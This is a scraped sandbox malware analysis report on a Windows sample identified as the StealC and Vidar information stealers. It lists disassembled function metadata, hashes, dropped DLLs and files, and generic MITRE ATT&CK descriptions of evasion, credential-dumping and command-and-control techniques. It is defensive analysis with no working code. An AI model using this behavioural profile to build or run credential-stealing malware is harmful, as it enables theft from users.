Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: c24f596f73ff7a8594c7703d3b98f11d7719ab5da57928ef6187b669e107df32
Instruction ID: 3850432dd8c58f9ce51038973c3572709c364315b4647b6105b7bd4b4bd296ef
Opcode Fuzzy Hash: c24f596f73ff7a8594c7703d3b98f11d7719ab5da57928ef6187b669e107df32
Instruction Fuzzy Hash: 4731C6B0645394CBDB206F38C5446A97BB4BF46349F114A7DD898C7A11EB36C086CBBA

Function 6C5CA4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6C5CA468,00000000), ref: 6C5CA4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C5CA468,00000000), ref: 6C5CA51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5CA468,?,6C5CA468,00000000), ref: 6C5CA545
memcpy.VCRUNTIME140(00000001,6C5CA468,00000001,?,?,?,6C5CA468,00000000), ref: 6C5CA57D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: 52b683f0fbf8b002f9d2e2b48d81052164b88e1ddcedcf68ff92e0ed150b009a
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 981136F3E0031957DF0089F9DC856EB7B999F95268F284238ED6487381F239990987E2

Function 6C670F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C612AF5,?,?,?,?,?,6C610A1B,00000000), ref: 6C670F1A
malloc.MOZGLUE(00000001), ref: 6C670F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C670F42
TlsGetValue.KERNEL32 ref: 6C670F5B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 13d8358d3d2ac84baa79b3fe389daf24d5b82288e63003df25c9fdb27efde1c3
Instruction ID: f755852751fa4a237bcfcc7402f736c4c100a96e4fc71578a3fdb61b6e66fabc
Opcode Fuzzy Hash: 13d8358d3d2ac84baa79b3fe389daf24d5b82288e63003df25c9fdb27efde1c3
Instruction Fuzzy Hash: B601F071F1025457E7202B3E9E085A67A6CEF53359F010575EC1CC2A11E739C445C6F6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\FCGIJKJJ

C:\ProgramData\GHDHDGHJEBGIDGDGIJJK

C:\ProgramData\HCFIJKKKKKFCAAAAFBKF

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

C:\ProgramData\IECFHDBAAECAAKFHDHIIJKFHJE

C:\ProgramData\IJEHCGIJ

C:\ProgramData\KFCAFIIDHIDGHIECGDGIDHCGCF

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Function 6C4F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 6C50C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Function 6C4F3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre